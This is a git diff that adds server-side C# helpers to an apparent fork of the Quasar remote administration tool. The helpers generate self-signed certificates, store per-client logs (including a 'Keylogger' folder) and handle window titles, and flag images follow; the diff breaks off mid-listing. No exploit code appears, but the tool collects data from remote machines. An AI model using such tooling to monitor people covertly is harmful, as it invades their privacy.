Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Helper/CertificateHelper.cs b/Quasar-1.4.1/Quasar.Server/Helper/CertificateHelper.cs new file mode 100755 index 0000000..b41d531 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Helper/CertificateHelper.cs @@ -0,0 +1,85 @@ +using Org.BouncyCastle.Asn1.X509; +using Org.BouncyCastle.Crypto; +using Org.BouncyCastle.Crypto.Generators; +using Org.BouncyCastle.Crypto.Operators; +using Org.BouncyCastle.Crypto.Parameters; +using Org.BouncyCastle.Crypto.Prng; +using Org.BouncyCastle.Math; +using Org.BouncyCastle.Security; +using Org.BouncyCastle.X509; +using Org.BouncyCastle.X509.Extension; +using System; +using System.Security.Cryptography.X509Certificates; + +namespace Quasar.Server.Helper +{ + public static class CertificateHelper + { + public static X509Certificate2 CreateCertificate(string certName, X509Certificate2 ca, int keyStrength) + { + var caCert = DotNetUtilities.FromX509Certificate(ca); + var random = new SecureRandom(new CryptoApiRandomGenerator()); + var keyPairGen = new RsaKeyPairGenerator(); + keyPairGen.Init(new KeyGenerationParameters(random, keyStrength)); + AsymmetricCipherKeyPair keyPair = keyPairGen.GenerateKeyPair(); + + var certificateGenerator = new X509V3CertificateGenerator(); + + var CN = new X509Name("CN=" + certName); + var SN = BigInteger.ProbablePrime(120, random); + + certificateGenerator.SetSerialNumber(SN); + certificateGenerator.SetSubjectDN(CN); + certificateGenerator.SetIssuerDN(caCert.IssuerDN); + certificateGenerator.SetNotAfter(DateTime.MaxValue); + certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(1, 0, 0, 0))); + certificateGenerator.SetPublicKey(keyPair.Public); + certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keyPair.Public)); + certificateGenerator.AddExtension(X509Extensions.AuthorityKeyIdentifier, false, new AuthorityKeyIdentifierStructure(caCert.GetPublicKey())); + + var caKeyPair = DotNetUtilities.GetKeyPair(ca.PrivateKey); + + ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", caKeyPair.Private, random); + + var certificate = certificateGenerator.Generate(signatureFactory); + + certificate.Verify(caCert.GetPublicKey()); + + var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate)); + certificate2.PrivateKey = DotNetUtilities.ToRSA(keyPair.Private as RsaPrivateCrtKeyParameters); + + return certificate2; + } + + public static X509Certificate2 CreateCertificateAuthority(string caName, int keyStrength) + { + var random = new SecureRandom(new CryptoApiRandomGenerator()); + var keyPairGen = new RsaKeyPairGenerator(); + keyPairGen.Init(new KeyGenerationParameters(random, keyStrength)); + AsymmetricCipherKeyPair keypair = keyPairGen.GenerateKeyPair(); + + var certificateGenerator = new X509V3CertificateGenerator(); + + var CN = new X509Name("CN=" + caName); + var SN = BigInteger.ProbablePrime(120, random); + + certificateGenerator.SetSerialNumber(SN); + certificateGenerator.SetSubjectDN(CN); + certificateGenerator.SetIssuerDN(CN); + certificateGenerator.SetNotAfter(DateTime.MaxValue); + certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(2, 0, 0, 0))); + certificateGenerator.SetPublicKey(keypair.Public); + certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keypair.Public)); + certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true)); + + ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", keypair.Private, random); + + var certificate = certificateGenerator.Generate(signatureFactory); + + var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate)); + certificate2.PrivateKey = DotNetUtilities.ToRSA(keypair.Private as RsaPrivateCrtKeyParameters); + + return certificate2; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Helper/ClientDataManager.cs b/Quasar-1.4.1/Quasar.Server/Helper/ClientDataManager.cs new file mode 100755 index 0000000..2fec005 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Helper/ClientDataManager.cs @@ -0,0 +1,78 @@ +using Quasar.Server.Models; +using Quasar.Server.Networking; +using System; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Helper +{ + /// + /// Manages client-specific data folders for organizing exports and logs. + /// + public static class ClientDataManager + { + /// + /// Gets or creates a client-specific folder for storing data. + /// + /// The client to create folder for. + /// Optional subfolder name (e.g., "SystemInfo", "Intelix", "Keylogger"). + /// The full path to the client's data folder. + public static string GetClientFolder(Client client, string subfolder = null) + { + // Create base Logs folder + string logsPath = Path.Combine(Application.StartupPath, "Logs"); + if (!Directory.Exists(logsPath)) + Directory.CreateDirectory(logsPath); + + // Create client-specific folder using UserAtPc as identifier + string clientIdentifier = SanitizeFileName(client.Value.UserAtPc); + string clientFolder = Path.Combine(logsPath, clientIdentifier); + + if (!Directory.Exists(clientFolder)) + Directory.CreateDirectory(clientFolder); + + // If subfolder specified, create it + if (!string.IsNullOrEmpty(subfolder)) + { + clientFolder = Path.Combine(clientFolder, subfolder); + if (!Directory.Exists(clientFolder)) + Directory.CreateDirectory(clientFolder); + } + + return clientFolder; + } + + /// + /// Generates a timestamped filename for client data. + /// + /// Prefix for the filename (e.g., "SystemInfo", "Intelix"). + /// File extension (e.g., ".json", ".zip"). + /// A timestamped filename. + public static string GenerateTimestampedFilename(string prefix, string extension) + { + string timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss"); + return $"{prefix}_{timestamp}{extension}"; + } + + /// + /// Sanitizes a string to be used as a filename or folder name. + /// + private static string SanitizeFileName(string fileName) + { + if (string.IsNullOrWhiteSpace(fileName)) + return "Unknown"; + + // Remove invalid filename characters + char[] invalidChars = Path.GetInvalidFileNameChars(); + foreach (char c in invalidChars) + { + fileName = fileName.Replace(c, '_'); + } + + // Also replace colon which might be in IP addresses or timestamps + fileName = fileName.Replace(':', '_'); + + return fileName; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Helper/ClipboardHelper.cs b/Quasar-1.4.1/Quasar.Server/Helper/ClipboardHelper.cs new file mode 100755 index 0000000..2a69f03 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Helper/ClipboardHelper.cs @@ -0,0 +1,19 @@ +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Helper +{ + public static class ClipboardHelper + { + public static void SetClipboardTextSafe(string text) + { + try + { + Clipboard.SetText(text); + } + catch (Exception) + { + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Helper/NativeMethodsHelper.cs b/Quasar-1.4.1/Quasar.Server/Helper/NativeMethodsHelper.cs new file mode 100755 index 0000000..5ea832c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Helper/NativeMethodsHelper.cs @@ -0,0 +1,35 @@ +using System; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Helper +{ + public static class NativeMethodsHelper + { + private const int LVM_FIRST = 0x1000; + private const int LVM_SETITEMSTATE = LVM_FIRST + 43; + + private const int WM_VSCROLL = 277; + private static readonly IntPtr SB_PAGEBOTTOM = new IntPtr(7); + + public static int MakeWin32Long(short wLow, short wHigh) + { + return (int)wLow << 16 | (int)(short)wHigh; + } + + public static void SetItemState(IntPtr handle, int itemIndex, int mask, int value) + { + NativeMethods.LVITEM lvItem = new NativeMethods.LVITEM + { + stateMask = mask, + state = value + }; + + NativeMethods.SendMessageListViewItem(handle, LVM_SETITEMSTATE, new IntPtr(itemIndex), ref lvItem); + } + + public static void ScrollToBottom(IntPtr handle) + { + NativeMethods.SendMessage(handle, WM_VSCROLL, SB_PAGEBOTTOM, IntPtr.Zero); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Helper/WindowHelper.cs b/Quasar-1.4.1/Quasar.Server/Helper/WindowHelper.cs new file mode 100755 index 0000000..fb8f925 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Helper/WindowHelper.cs @@ -0,0 +1,17 @@ +using Quasar.Server.Networking; + +namespace Quasar.Server.Helper +{ + public static class WindowHelper + { + public static string GetWindowTitle(string title, Client c) + { + return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username, c.Value.PcName, c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString()); + } + + public static string GetWindowTitle(string title, int count) + { + return string.Format("{0} [Selected: {1}]", title, count); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ad.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ad.png new file mode 100755 index 0000000..625ca84 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ad.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ae.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ae.png new file mode 100755 index 0000000..ef3a1ec Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ae.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/af.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/af.png new file mode 100755 index 0000000..a4742e2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/af.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ag.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ag.png new file mode 100755 index 0000000..556d550 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ag.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ai.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ai.png new file mode 100755 index 0000000..74ed29d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ai.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/al.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/al.png new file mode 100755 index 0000000..92354cb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/al.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/am.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/am.png new file mode 100755 index 0000000..344a2a8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/am.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/an.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/an.png new file mode 100755 index 0000000..633e4b8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/an.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ao.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ao.png new file mode 100755 index 0000000..bcbd1d6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ao.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ar.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ar.png new file mode 100755 index 0000000..e5ef8f1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ar.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/as.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/as.png new file mode 100755 index 0000000..32f30e4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/as.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/at.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/at.png new file mode 100755 index 0000000..0f15f34 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/at.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/au.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/au.png new file mode 100755 index 0000000..a01389a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/au.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/aw.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/aw.png new file mode 100755 index 0000000..a3579c2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/aw.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ax.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ax.png new file mode 100755 index 0000000..1eea80a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ax.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/az.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/az.png new file mode 100755 index 0000000..4ee9fe5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/az.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ba.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ba.png new file mode 100755 index 0000000..c774992 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ba.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bb.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bb.png new file mode 100755 index 0000000..0df19c7 Binary files /dev/null and 